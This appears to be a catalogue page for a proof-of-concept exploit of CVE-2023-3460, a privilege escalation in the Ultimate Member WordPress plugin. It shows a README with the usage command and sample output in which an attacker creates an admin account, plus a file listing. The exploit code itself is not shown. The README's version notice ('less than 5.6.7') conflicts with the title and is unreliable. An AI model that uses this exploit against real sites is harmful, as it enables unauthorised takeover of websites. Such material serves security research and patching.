CVE-2023-3460 PoC — Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation

Source

Associated Vulnerability

Description

Exploit for the vulnerability of Ultimate Member Plugin.

Readme

Ultimate Member - Overview

Welcome to the Ultimate Member GitHub repository! Ultimate Member is a powerful and flexible user profile and membership plugin for WordPress but Sometimes Plugins has some vulnerability and lead to website compromisation

Important Notice: Please note that the version of Ultimate Member should be less than 5.6.7 to ensure compatibility and optimal functioning. Using versions beyond this might lead to unexpected issues and conflicts.

Usage

 python3 exploit.py <url>
    Example:
        python3 exploit.py https://example.com/register
                 --- Ultimate Member Exploit ---
                        (Get Admin Access)
                                 by Rajneesh K Arya
        
        id : 9
        Username : admin2
        Password : Password123
         value : cb2147ddb3
        Attacking https://example.com/register/ : done

        Congratulations! We gained access to admin panel:
        Credentials...
        Username: admin2
        Password: Password123
open to contribute


  

File Snapshot

 [4.0K]  /data/pocs/a8750f63d2b7abd3e64982ba4b20ac6633fc350d
├── [2.7K]  exploit.py
└── [1.0K]  README.md

0 directories, 2 files

Remarks